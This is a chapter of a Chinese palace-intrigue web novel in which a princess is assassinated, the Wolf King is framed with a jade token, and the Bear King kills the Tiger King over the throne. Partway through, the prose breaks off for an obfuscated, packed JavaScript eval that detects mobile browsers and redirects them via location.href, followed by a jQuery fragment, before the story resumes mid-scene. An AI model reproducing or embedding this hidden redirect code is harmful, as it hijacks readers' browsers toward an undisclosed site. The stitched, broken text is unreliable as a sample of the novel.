163. 落百殇(三十七)
作品:《百草留芳》 两人最终藏身于一间布满蛛网的废弃偏殿。翌日清晨,天刚亮,莫苏勒就猛地摇醒了刚刚合眼不久的陆凝,他的脸色是从未有过的凝重。
“怎么了?”陆凝瞬间清醒,心脏狂跳。
莫苏勒的声音低沉如闷雷,“出大事了。方才听到宫人议论,昨晚王城遇刺,安踏公主,可汗身受重伤,昏迷不醒。”
轰!如同晴天霹雳在脑海中炸响!陆凝只觉得一股寒气从脚底直冲天灵盖,浑身血液都仿佛凝固了。
安踏……死了?那个才十六岁,眼中刚刚开始有了光彩的少女……就这么没了?
巨大的悲伤和愤怒席卷了她。但紧接着,是更深沉的恐惧和寒意。
「太巧了!这一切都太巧了!我们刚回王城,当夜就发生刺杀,安踏偏偏在这个时候殒命。就像是……就像是有人专门设下的陷阱,等着我们钻进来一样!」
她猛地抓住莫苏勒的手臂,指尖因为用力而泛白,“莫苏勒!我们中计了!”
两人对视一眼,都从对方眼中看到了同样的惊惧和醒悟。必须立刻离开!
然而,他们刚推开偏殿那扇吱呀作响的破旧木门,一队全副武装的卫兵就如同鬼魅般出现,瞬间将他们团团围住,冰冷的刀锋在晨曦中闪烁着寒光。
“是什么人在王宫中鬼祟行事?”为首的将领厉声喝道,目光如鹰隼般扫过两人。当他看清莫苏勒的面容时,眼中闪过一丝讶异,随即化为更深的警惕和一丝了然的冷意,“原来是狼王殿下。来人!将这两个形迹可疑,出现在遇刺现场附近的人,给我扣下!”
金碧宫主殿之内,气氛压抑得让人喘不过气。得到消息赶来的几位藩王齐聚于此,脸上神色各异,惊怒、猜疑、算计,不一而足。
虎王性格刚猛,一拳狠狠砸在身旁的廊柱上,发出沉闷的响声,震得梁上灰尘簌簌落下,“大可敦!这到底是怎么回事?!可汗怎么会遇刺?安踏公主怎么会殒命?!”
荼茶公主穿着一身素色衣裙,未施粉黛,眼眶微红,显得哀戚而疲惫。国不可一日无主,新任可汗身体孱弱,自即位以来,这把王座之上的人大多时候都是这位曾辅佐先可汗建立敕拓的异族公主。
她的声音听上去很是沉痛,“本宫亦不知具体情形。昨夜听到动静赶到可汗寝殿时,殿中已是一片狼藉,可汗倒在血泊之中,安踏公主已然气绝。不知是何等穷凶极恶的歹人,竟敢对我敕拓可汗不测,可怜了安踏那孩子,年纪轻轻,远嫁而来,却白白殒命于此……”
她说着,拿起帕子轻轻拭了拭眼角。
“安踏公主是奉云靖皇帝之命前来和亲的!”虎王面色铁青,声音如同炸雷,“代表着两族和平!如今她在我们敕拓王城遇刺身亡!这消息若是传到了云靖,恐怕云靖朝廷是不会听信我们‘遇刺’这种借口的啊!”
就在这时,一名侍卫匆匆进殿,单膝跪地,双手呈上一物,“回禀大可敦!属下等在清理可汗遇刺现场时,于殿门角落处,发现了这枚玉佩!”
蛇王离得最近,伸手接过那枚玉佩,捏在指尖仔细端详。那玉佩质地莹润,雕刻着狼部特有的狼首图腾,工艺精湛。
“这玉佩……”蛇王眯起他那双阴冷的三角眼,拖长了语调,“似乎有些眼熟啊。”
一旁的鹰王凑近看了看,突然像是想起了什么,惊呼道:“这是狼纹令啊,不是狼王随身佩戴的玉佩吗?!怎……怎会在可汗遇刺的地方被发现?!”
殿内瞬间一片死寂,所有人的目光都聚焦在那枚小小的玉佩上。
荼茶公主微微蹙眉,轻抚额头,语气带着几分不确定和疲惫,“许是……弄错了吧?狼王对可汗素来忠心,怎会有此等大逆不道的心思?或许是巧合,或许是有人栽赃……”
她的话音未落,又一名侍卫快步进殿禀报,“回禀大可敦!臣等清晨在靠近西侧废弃偏殿处,发现狼王及其手下一名女子,行迹鬼祟,意图不明!现已将其扣押!”
这一下,“人赃并获”几乎将嫌疑牢牢钉在了莫苏勒身上。
虎王深吸一口气,深知此事关乎部落存亡,转向荼茶公主,“大可敦!如今人证、物证俱在!为了给云靖一个交代,为了平息可能到来的战火,恐怕……是要将狼王交出去了啊!”
荼茶公主幽幽叹息一声,仿佛无比为难,“刺杀一事,尚未完全明了,本宫亦不愿冤枉了狼王……还要请诸位藩王,早日查明真相,还所有人一个公道啊。”
她将皮球又轻轻踢了回去。
“大可敦,”虎王却转移了话题,“如今可汗危在旦夕,生死未卜,而之前……可汗并未正式立下储君。按照我们蛮族的旧习,若是可汗……是否该尽早商议,重立新王,以稳定局势?”
荼茶公主的眼神骤然变得锐利如刀,直射向熊王,“可汗还尚未殡天,熊王,你说这话是什么意思?可是已经有了争王的心思?”
鹰王见状,也跟着附和,“大可敦,熊王说得也不无道理,国不可一日无君。有些事情,还要早做准备啊!”
“放心吧,”荼茶公主缓缓站起身,环视着殿内心思各异的几位藩王,嘴角勾起一抹难以捉摸的冷笑,“就算是可汗真的不在了,还有本宫呢!这敕拓王朝,乱不了,更灭不了!”
******
众王心思各异地退出大殿后,还没走出多远,只见熊王眼中凶光一闪,突然拔刀,冰冷的刀锋悄无声息地抵住了虎王的后心。
“熊王!你这是什么意思?!”虎王身体一僵,不敢妄动,厉声喝道。
“什么意思?”熊王狞笑一声,凑近他耳边,充满了杀意,“既然你有了争王之心,我只能先将你解决了!”
虎王冷哼一声,并未太过惊慌,“你就没有吗?在场诸位,谁不想坐上那个位置?”
“我当然有!”熊王毫不掩饰自己的野心,“杀了你们这些碍事的,那个王位,自然便是我的了!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050122|181159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一直冷眼旁观的蛇王,此时才慢悠悠地开口,“你们如今是在搞内乱吗?一个个被权力冲昏了头脑,你们难道看不出来,真正想要那个王位,并且已经掌控了局面的,是殿里的那个女人吗?”
“一个女人,不足为惧!”熊王不屑地啐了一口。
“是吗?”蛇王冷笑,指向四周那些全副武装的陌生兵卫,“你倒是看看,这王城还和从前一样吗?现在恐怕是她大可敦一句话,我们几个,便都能‘意外’死在这王城之中!熊王,你熊部的军队,赶得及来救你吗?”
一直显得较为圆滑的鹰王叹了口气,摇着扇子打圆场,眼中却精光闪烁,“哎,蛇王此言差矣。如今我们要面对的,恐怕首要还不是内斗,而是云靖啊。争王之事,都要排在后头了。安踏公主一死,云靖问罪的兵马,恐怕不日即至。”
“云靖要问罪便让他们来!”熊王怒吼,依旧持刀抵着虎王,“我熊部儿郎,灭了他们!”
“云靖有数十万精锐边军!”虎王趁机猛地转身,挣脱了刀锋的威胁,冷笑着反唇相讥,“熊部有多少人?几千?还是几百?我记得从上一代熊部首领起,你们熊部人丁便不算兴旺,连年与其他部落摩擦,损失不小吧?拿什么去灭云靖数十万大军?”
鹰王继续摇着擅自,一副和事佬的样子,话却说得诛心,“看来,如今最好的办法,还是按照虎王刚才说的,将狼王交出去,或许还能平息云靖的怒火啊。毕竟,‘证据’指向他嘛。”
蛇王挑眉,阴阳怪气地看向鹰王,“你平日里不是和狼王交情最好吗?怎么,如今大难临头,是要急着出卖朋友,明哲保身了?”
“哎呀呀,蛇王这话说的,”鹰王脸上堆起虚伪的笑容,“本王素来与谁人都交好,但大难当前,总是要顾及大局,顾及部落存亡的啊。个人交情,岂能与整个敕拓的安危相提并论?”
“够了!你们都别吵了!”虎王不耐烦地打断他们,“如今大敌当前,我们确实要共同面对云靖!狼王常年身处边境,与最知道边境情况,得先问问他的……”
话音未落,熊王的刀已刺穿虎王胸膛。
“你……你疯了……”虎王跪倒在地,鲜血从嘴角涌出,难以置信地看着自己胸前被弯刀贯穿的伤口,又望向面前野心勃勃的熊王。
“云靖要不要攻,我一点都不在乎,”熊王拔出染血的刀,“我只要王位,而你,是这条路上最大的阻碍。”
鲜血四溅,而虎王也倒在血泊之中,他征战沙场数十年,却没想到有朝一日会死在王城,连最后一句话都尚未说完,死不瞑目。
解决了一个最强劲的对手,熊王环视其他两位藩王,“蛇擅毒,鹰擅速,我已然打草惊蛇,自然是动不了你们二位,但你们俩联手也动不了我分毫。”
他甩去刀上血迹,甩头而去,只留下一具逐渐冰冷的尸体和两个尚未反应过来当下情况的人。
“所以,我们来日方长。”

